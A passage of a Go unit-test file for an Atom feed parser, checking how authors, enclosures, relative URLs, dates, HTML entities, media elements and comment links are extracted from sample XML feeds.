<entry>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t\t<author>\n\t\t\t<name>Alice</name>\n\t\t</author>\n\t\t<author>\n\t\t\t<name>Bob</name>\n\t\t</author>\n\t  </entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Author != \"Alice, Bob\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseFeedWithEntryWithoutAuthor(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <author>\n\t\t<name>John Doe</name>\n\t  </author>\n\t  <entry>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Author != \"John Doe\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseFeedWithMultipleAuthors(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <author>\n\t\t<name>Alice</name>\n\t  </author>\n\t  <author>\n\t\t<name>Bob</name>\n\t  </author>\n\t  <author>\n\t\t<name>Bob</name>\n\t  </author>\n\t  <entry>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Author != \"Alice, Bob\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseFeedWithoutAuthor(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\t  <entry>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].Author != \"\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %q\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseEntryWithEnclosures(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t<id>http://www.example.org/myfeed</id>\n\t\t<title>My Podcast Feed</title>\n\t\t<updated>2005-07-15T12:00:00Z</updated>\n\t\t<author>\n\t\t<name>John Doe</name>\n\t\t</author>\n\t\t<link href=\"http://example.org\" />\n\t\t<link rel=\"self\" href=\"http://example.org/myfeed\" />\n\t\t<entry>\n\t\t\t<id>http://www.example.org/entries/1</id>\n\t\t\t<title>Atom 1.0</title>\n\t\t\t<updated>2005-07-15T12:00:00Z</updated>\n\t\t\t<link href=\"http://www.example.org/entries/1\" />\n\t\t\t<summary>An overview of Atom 1.0</summary>\n\t\t\t<link rel=\"enclosure\"\n\t\t\t\t\ttype=\"audio/mpeg\"\n\t\t\t\t\ttitle=\"MP3\"\n\t\t\t\t\thref=\"http://www.example.org/myaudiofile.mp3\"\n\t\t\t\t\tlength=\"1234\" />\n\t\t\t<link rel=\"enclosure\"\n\t\t\t\t\ttype=\"application/x-bittorrent\"\n\t\t\t\t\ttitle=\"BitTorrent\"\n\t\t\t\t\thref=\"http://www.example.org/myaudiofile.torrent\"\n\t\t\t\t\tlength=\"4567\" />\n\t\t\t<content type=\"xhtml\">\n\t\t\t\t<div xmlns=\"http://www.w3.org/1999/xhtml\">\n\t\t\t\t<h1>Show Notes</h1>\n\t\t\t\t<ul>\n\t\t\t\t\t<li>00:01:00 -- Introduction</li>\n\t\t\t\t\t<li>00:15:00 -- Talking about Atom 1.0</li>\n\t\t\t\t\t<li>00:30:00 -- Wrapping up</li>\n\t\t\t\t</ul>\n\t\t\t\t</div>\n\t\t\t</content>\n\t\t</entry>\n  \t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].URL != \"http://www.example.org/entries/1\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 2 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\texpectedResults := []struct {\n\t\turl      string\n\t\tmimeType string\n\t\tsize     int64\n\t}{\n\t\t{\"http://www.example.org/myaudiofile.mp3\", \"audio/mpeg\", 1234},\n\t\t{\"http://www.example.org/myaudiofile.torrent\", \"application/x-bittorrent\", 4567},\n\t}\n\n\tfor index, enclosure := range feed.Entries[0].Enclosures {\n\t\tif expectedResults[index].url != enclosure.URL {\n\t\t\tt.Errorf(`Unexpected enclosure URL, got %q instead of %q`, enclosure.URL, expectedResults[index].url)\n\t\t}\n\n\t\tif expectedResults[index].mimeType != enclosure.MimeType {\n\t\t\tt.Errorf(`Unexpected enclosure type, got %q instead of %q`, enclosure.MimeType, expectedResults[index].mimeType)\n\t\t}\n\n\t\tif expectedResults[index].size != enclosure.Size {\n\t\t\tt.Errorf(`Unexpected enclosure size, got %d instead of %d`, enclosure.Size, expectedResults[index].size)\n\t\t}\n\t}\n}\n\nfunc TestParseEntryWithRelativeEnclosureURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t<id>https://www.example.org/myfeed</id>\n\t\t<title>My Podcast Feed</title>\n\t\t<link href=\"https://example.org\" />\n\t\t<link rel=\"self\" href=\"https://example.org/myfeed\" />\n\t\t<entry>\n\t\t\t<id>https://www.example.org/entries/1</id>\n\t\t\t<title>Atom 1.0</title>\n\t\t\t<updated>2005-07-15T12:00:00Z</updated>\n\t\t\t<link href=\"https://www.example.org/entries/1\" />\n\t\t\t<link rel=\"enclosure\"\n\t\t\t\t\ttype=\"audio/mpeg\"\n\t\t\t\t\ttitle=\"MP3\"\n\t\t\t\t\thref=\"  /myaudiofile.mp3  \"\n\t\t\t\t\tlength=\"1234\" />\n\t\t\t</content>\n\t\t</entry>\n  \t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 1 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\tif feed.Entries[0].Enclosures[0].URL != \"https://example.org/myaudiofile.mp3\" {\n\t\tt.Errorf(\"Incorrect enclosure URL, got: %q\", feed.Entries[0].Enclosures[0].URL)\n\t}\n}\n\nfunc TestParseEntryWithDuplicateEnclosureURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t<id>http://www.example.org/myfeed</id>\n\t\t<title>My Podcast Feed</title>\n\t\t<link href=\"http://example.org\" />\n\t\t<link rel=\"self\" href=\"http://example.org/myfeed\" />\n\t\t<entry>\n\t\t\t<id>http://www.example.org/entries/1</id>\n\t\t\t<title>Atom 1.0</title>\n\t\t\t<updated>2005-07-15T12:00:00Z</updated>\n\t\t\t<link href=\"http://www.example.org/entries/1\" />\n\t\t\t<link rel=\"enclosure\"\n\t\t\t\t\ttype=\"audio/mpeg\"\n\t\t\t\t\ttitle=\"MP3\"\n\t\t\t\t\thref=\"http://www.example.org/myaudiofile.mp3\"\n\t\t\t\t\tlength=\"1234\" />\n\t\t\t<link rel=\"enclosure\"\n\t\t\t\t\ttype=\"audio/mpeg\"\n\t\t\t\t\ttitle=\"MP3\"\n\t\t\t\t\thref=\"   http://www.example.org/myaudiofile.mp3  \"\n\t\t\t\t\tlength=\"1234\" />\n\t\t\t</content>\n\t\t</entry>\n  \t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 1 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\tif feed.Entries[0].Enclosures[0].URL != \"http://www.example.org/myaudiofile.mp3\" {\n\t\tt.Errorf(\"Incorrect enclosure URL, got: %q\", feed.Entries[0].Enclosures[0].URL)\n\t}\n}\n\nfunc TestParseEntryWithoutEnclosureURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t<id>http://www.example.org/myfeed</id>\n\t\t<title>My Podcast Feed</title>\n\t\t<updated>2005-07-15T12:00:00Z</updated>\n\t\t<link href=\"http://example.org\" />\n\t\t<link rel=\"self\" href=\"http://example.org/myfeed\" />\n\t\t<entry>\n\t\t\t<id>http://www.example.org/entries/1</id>\n\t\t\t<title>Atom 1.0</title>\n\t\t\t<updated>2005-07-15T12:00:00Z</updated>\n\t\t\t<link href=\"http://www.example.org/entries/1\" />\n\t\t\t<summary>An overview of Atom 1.0</summary>\n\t\t\t<link rel=\"enclosure\" href=\"\" length=\"0\" />\n\t\t\t<content type=\"xhtml\">Test</content>\n\t\t</entry>\n  \t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].URL != \"http://www.example.org/entries/1\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 0 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n}\n\nfunc TestParseEntryWithPublished(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<published>2003-12-13T18:30:02Z</published>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif !feed.Entries[0].Date.Equal(time.Date(2003, time.December, 13, 18, 30, 2, 0, time.UTC)) {\n\t\tt.Errorf(\"Incorrect entry date, got: %v\", feed.Entries[0].Date)\n\t}\n}\n\nfunc TestParseEntryWithPublishedAndUpdated(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t  <title>Example Feed</title>\n\t  <link href=\"http://example.org/\"/>\n\n\t  <entry>\n\t\t<link href=\"http://example.org/2003/12/13/atom03\"/>\n\t\t<id>urn:uuid:1225c695-cfb8-4ebb-aaaa-80da344efa6a</id>\n\t\t<published>2002-11-12T18:30:02Z</published>\n\t\t<updated>2003-12-13T18:30:02Z</updated>\n\t\t<summary>Some text.</summary>\n\t  </entry>\n\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif !feed.Entries[0].Date.Equal(time.Date(2002, time.November, 12, 18, 30, 2, 0, time.UTC)) {\n\t\tt.Errorf(\"Incorrect entry date, got: %v\", feed.Entries[0].Date)\n\t}\n}\n\nfunc TestParseInvalidXml(t *testing.T) {\n\tdata := `garbage`\n\t_, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err == nil {\n\t\tt.Error(\"Parse should returns an error\")\n\t}\n}\n\nfunc TestParseTitleWithSingleQuote(t *testing.T) {\n\tdata := `\n\t\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t\t<title>' or ’</title>\n\t\t\t<link href=\"http://example.org/\"/>\n\t\t</feed>\n\t`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"' or ’\" {\n\t\tt.Errorf(`Incorrect title, got: %q`, feed.Title)\n\t}\n}\n\nfunc TestParseTitleWithEncodedSingleQuote(t *testing.T) {\n\tdata := `\n\t\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t\t<title type=\"html\">Test&#39;s Blog</title>\n\t\t\t<link href=\"http://example.org/\"/>\n\t\t</feed>\n\t`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"Test's Blog\" {\n\t\tt.Errorf(`Incorrect title, got: %q`, feed.Title)\n\t}\n}\n\nfunc TestParseTitleWithSingleQuoteAndHTMLType(t *testing.T) {\n\tdata := `\n\t\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t\t<title type=\"html\">O’Hara</title>\n\t\t\t<link href=\"http://example.org/\"/>\n\t\t</feed>\n\t`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"O’Hara\" {\n\t\tt.Errorf(`Incorrect title, got: %q`, feed.Title)\n\t}\n}\n\nfunc TestParseWithHTMLEntity(t *testing.T) {\n\tdata := `\n\t\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t\t<title>Example &nbsp; Feed</title>\n\t\t\t<link href=\"http://example.org/\"/>\n\t\t</feed>\n\t`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"Example \\u00a0 Feed\" {\n\t\tt.Errorf(`Incorrect title, got: %q`, feed.Title)\n\t}\n}\n\nfunc TestParseWithInvalidCharacterEntity(t *testing.T) {\n\tdata := `\n\t\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<feed xmlns=\"http://www.w3.org/2005/Atom\">\n\t\t\t<title>Example Feed</title>\n\t\t\t<link href=\"http://example.org/a&b\"/>\n\t\t</feed>\n\t`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"http://example.org/a&b\" {\n\t\tt.Errorf(`Incorrect URL, got: %q`, feed.SiteURL)\n\t}\n}\n\nfunc TestParseMediaGroup(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\" xmlns:media=\"http://search.yahoo.com/mrss/\">\n\t\t<id>https://www.example.org/myfeed</id>\n\t\t<title>My Video Feed</title>\n\t\t<updated>2005-07-15T12:00:00Z</updated>\n\t\t<link href=\"https://example.org\" />\n\t\t<link rel=\"self\" href=\"https://example.org/myfeed\" />\n\t\t<entry>\n\t\t\t<id>https://www.example.org/entries/1</id>\n\t\t\t<title>Some Video</title>\n\t\t\t<updated>2005-07-15T12:00:00Z</updated>\n\t\t\t<link href=\"https://www.example.org/entries/1\" />\n\t\t\t<media:group>\n\t\t\t\t<media:title>Another title</media:title>\n\t\t\t\t<media:content url=\"https://www.youtube.com/v/abcd\" type=\"application/x-shockwave-flash\" width=\"640\" height=\"390\"/>\n\t\t\t\t<media:content url=\"   /v/efg  \" type=\"application/x-shockwave-flash\" width=\"640\" height=\"390\"/>\n\t\t\t\t<media:content url=\"     \" type=\"application/x-shockwave-flash\" width=\"640\" height=\"390\"/>\n\t\t\t\t<media:thumbnail url=\"https://www.example.org/duplicate-thumbnail.jpg\" width=\"480\" height=\"360\"/>\n\t\t\t\t<media:thumbnail url=\"https://www.example.org/duplicate-thumbnail.jpg\" width=\"480\" height=\"360\"/>\n\t\t\t\t<media:thumbnail url=\" /thumbnail2.jpg   \" width=\"480\" height=\"360\"/>\n\t\t\t\t<media:thumbnail url=\"    \" width=\"480\" height=\"360\"/>\n\t\t\t\t<media:description>Some description\nA website: http://example.org/</media:description>\n\t\t\t</media:group>\n\t\t</entry>\n  \t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 4 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\texpectedResults := []struct {\n\t\turl      string\n\t\tmimeType string\n\t\tsize     int64\n\t}{\n\t\t{\"https://www.example.org/duplicate-thumbnail.jpg\", \"image/*\", 0},\n\t\t{\"https://example.org/thumbnail2.jpg\", \"image/*\", 0},\n\t\t{\"https://www.youtube.com/v/abcd\", \"application/x-shockwave-flash\", 0},\n\t\t{\"https://example.org/v/efg\", \"application/x-shockwave-flash\", 0},\n\t}\n\n\tfor index, enclosure := range feed.Entries[0].Enclosures {\n\t\tif expectedResults[index].url != enclosure.URL {\n\t\t\tt.Errorf(`Unexpected enclosure URL, got %q instead of %q`, enclosure.URL, expectedResults[index].url)\n\t\t}\n\n\t\tif expectedResults[index].mimeType != enclosure.MimeType {\n\t\t\tt.Errorf(`Unexpected enclosure type, got %q instead of %q`, enclosure.MimeType, expectedResults[index].mimeType)\n\t\t}\n\n\t\tif expectedResults[index].size != enclosure.Size {\n\t\t\tt.Errorf(`Unexpected enclosure size, got %d instead of %d`, enclosure.Size, expectedResults[index].size)\n\t\t}\n\t}\n}\n\nfunc TestParseMediaElements(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<feed xmlns=\"http://www.w3.org/2005/Atom\" xmlns:media=\"http://search.yahoo.com/mrss/\">\n\t\t<id>https://www.example.org/myfeed</id>\n\t\t<title>My Video Feed</title>\n\t\t<updated>2005-07-15T12:00:00Z</updated>\n\t\t<link href=\"https://example.org\" />\n\t\t<link rel=\"self\" href=\"https://example.org/myfeed\" />\n\t\t<entry>\n\t\t\t<id>https://www.example.org/entries/1</id>\n\t\t\t<title>Some Video</title>\n\t\t\t<updated>2005-07-15T12:00:00Z</updated>\n\t\t\t<link href=\"https://www.example.org/entries/1\" />\n\t\t\t<media:title>Another title</media:title>\n\t\t\t<media:content url=\"https://www.youtube.com/v/abcd\" type=\"application/x-shockwave-flash\" width=\"640\" height=\"390\"/>\n\t\t\t<media:content url=\"   /relative/media.mp4   \" type=\"application/x-shockwave-flash\" width=\"640\" height=\"390\"/>\n\t\t\t<media:content url=\"      \" type=\"application/x-shockwave-flash\" width=\"640\" height=\"390\"/>\n\t\t\t<media:thumbnail url=\"https://example.org/duplicated-thumbnail.jpg\" width=\"480\" height=\"360\"/>\n\t\t\t<media:thumbnail url=\"  https://example.org/duplicated-thumbnail.jpg  \" width=\"480\" height=\"360\"/>\n\t\t\t<media:thumbnail url=\"    \" width=\"480\" height=\"360\"/>\n\t\t\t<media:peerLink type=\"application/x-bittorrent\" href=\"   http://www.example.org/sampleFile.torrent   \" />\n\t\t\t<media:peerLink type=\"application/x-bittorrent\" href=\" /sampleFile2.torrent\" />\n\t\t\t<media:peerLink type=\"application/x-bittorrent\" href=\" \" />\n\t\t\t<media:description>Some description\nA website: http://example.org/</media:description>\n\t\t</entry>\n  \t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 5 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\texpectedResults := []struct {\n\t\turl      string\n\t\tmimeType string\n\t\tsize     int64\n\t}{\n\t\t{\"https://example.org/duplicated-thumbnail.jpg\", \"image/*\", 0},\n\t\t{\"https://www.youtube.com/v/abcd\", \"application/x-shockwave-flash\", 0},\n\t\t{\"https://example.org/relative/media.mp4\", \"application/x-shockwave-flash\", 0},\n\t\t{\"http://www.example.org/sampleFile.torrent\", \"application/x-bittorrent\", 0},\n\t\t{\"https://example.org/sampleFile2.torrent\", \"application/x-bittorrent\", 0},\n\t}\n\n\tfor index, enclosure := range feed.Entries[0].Enclosures {\n\t\tif expectedResults[index].url != enclosure.URL {\n\t\t\tt.Errorf(`Unexpected enclosure URL, got %q instead of %q`, enclosure.URL, expectedResults[index].url)\n\t\t}\n\n\t\tif expectedResults[index].mimeType != enclosure.MimeType {\n\t\t\tt.Errorf(`Unexpected enclosure type, got %q instead of %q`, enclosure.MimeType, expectedResults[index].mimeType)\n\t\t}\n\n\t\tif expectedResults[index].size != enclosure.Size {\n\t\t\tt.Errorf(`Unexpected enclosure size, got %d instead of %d`, enclosure.Size, expectedResults[index].size)\n\t\t}\n\t}\n}\n\nfunc TestParseRepliesLinkRelationWithHTMLType(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<feed xmlns=\"http://www.w3.org/2005/Atom\"\n\t\t\txmlns:thr=\"http://purl.org/syndication/thread/1.0\">\n\t\t<id>http://www.example.org/myfeed</id>\n\t\t<title>My Example Feed</title>\n\t\t<updated>2005-07-28T12:00:00Z</updated>\n\t\t<link href=\"http://www.example.org/myfeed\" />\n\t\t<author><name>James</name></author>\n\t\t<entry>\n\t\t\t<id>tag:entries.com,2005:1</id>\n\t\t\t<title>My original entry</title>\n\t\t\t<updated>2006-03-01T12:12:12Z</updated>\n\t\t\t<link href=\"http://www.example.org/entries/1\" />\n\t\t\t<link rel=\"replies\"\n\t\t\t\ttype=\"application/atom+xml\"\n\t\t\t\thref=\"http://www.example.org/mycommentsfeed.xml\"\n\t\t\t\tthr:count=\"10\" thr:updated=\"2005-07-28T12:10:00Z\" />\n\t\t\t<link rel=\"replies\"\n\t\t\t\ttype=\"text/html\"\n\t\t\t\thref=\"http://www.example.org/comments.html\"\n\t\t\t\tthr:count=\"10\" thr:updated=\"2005-07-28T12:10:00Z\" />\n\t\t\t<summary>This is my original entry</summary>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].URL != \"http://www.example.org/entries/1\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[0].CommentsURL != \"http://www.example.org/comments.html\" {\n\t\tt.Errorf(\"Incorrect entry comments URL, got: %s\", feed.Entries[0].CommentsURL)\n\t}\n}\n\nfunc TestParseRepliesLinkRelationWithXHTMLType(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<feed xmlns=\"http://www.w3.org/2005/Atom\"\n\t\t\txmlns:thr=\"http://purl.org/syndication/thread/1.0\">\n\t\t<id>http://www.example.org/myfeed</id>\n\t\t<title>My Example Feed</title>\n\t\t<updated>2005-07-28T12:00:00Z</updated>\n\t\t<link href=\"http://www.example.org/myfeed\" />\n\t\t<author><name>James</name></author>\n\t\t<entry>\n\t\t\t<id>tag:entries.com,2005:1</id>\n\t\t\t<title>My original entry</title>\n\t\t\t<updated>2006-03-01T12:12:12Z</updated>\n\t\t\t<link href=\"http://www.example.org/entries/1\" />\n\t\t\t<link rel=\"replies\"\n\t\t\t\ttype=\"application/atom+xml\"\n\t\t\t\thref=\"http://www.example.org/mycommentsfeed.xml\"\n\t\t\t\tthr:count=\"10\" thr:updated=\"2005-07-28T12:10:00Z\" />\n\t\t\t<link rel=\"replies\"\n\t\t\t\ttype=\"application/xhtml+xml\"\n\t\t\t\thref=\"http://www.example.org/comments.xhtml\"\n\t\t\t\tthr:count=\"10\" thr:updated=\"2005-07-28T12:10:00Z\" />\n\t\t\t<summary>This is my original entry</summary>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].URL != \"http://www.example.org/entries/1\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[0].CommentsURL != \"http://www.example.org/comments.xhtml\" {\n\t\tt.Errorf(\"Incorrect entry comments URL, got: %s\", feed.Entries[0].CommentsURL)\n\t}\n}\n\nfunc TestParseRepliesLinkRelationWithNoType(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<feed xmlns=\"http://www.w3.org/2005/Atom\"\n\t\t\txmlns:thr=\"http://purl.org/syndication/thread/1.0\">\n\t\t<id>http://www.example.org/myfeed</id>\n\t\t<title>My Example Feed</title>\n\t\t<updated>2005-07-28T12:00:00Z</updated>\n\t\t<link href=\"http://www.example.org/myfeed\" />\n\t\t<author><name>James</name></author>\n\t\t<entry>\n\t\t\t<id>tag:entries.com,2005:1</id>\n\t\t\t<title>My original entry</title>\n\t\t\t<updated>2006-03-01T12:12:12Z</updated>\n\t\t\t<link href=\"http://www.example.org/entries/1\" />\n\t\t\t<link rel=\"replies\"\n\t\t\t\thref=\"http://www.example.org/mycommentsfeed.xml\"\n\t\t\t\tthr:count=\"10\" thr:updated=\"2005-07-28T12:10:00Z\" />\n\t\t\t<summary>This is my original entry</summary>\n\t\t</entry>\n\t</feed>`\n\n\tfeed, err := Parse(\"https://example.org/\", bytes.NewReader([]byte(data)), \"10\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].URL != \"http://www.example.org/entries/1\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[0].CommentsURL != \"\" {\n\t\tt.Errorf(\"Incorrect entry comments URL, got: %s\", feed.Entries[0].CommentsURL)\n\t}\n}\n\nfunc TestAbsoluteCommentsURL(t *testing.T) {\n\tdata := `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<feed xmlns=\"http://www.w3.org/2005/Atom\"\n\t\t\txmlns:thr=\"http://purl.org/syndication/thread/1.0\">\n\t\t<id>http://www.example.org/myfeed</id>\n\t\t<title>My Example 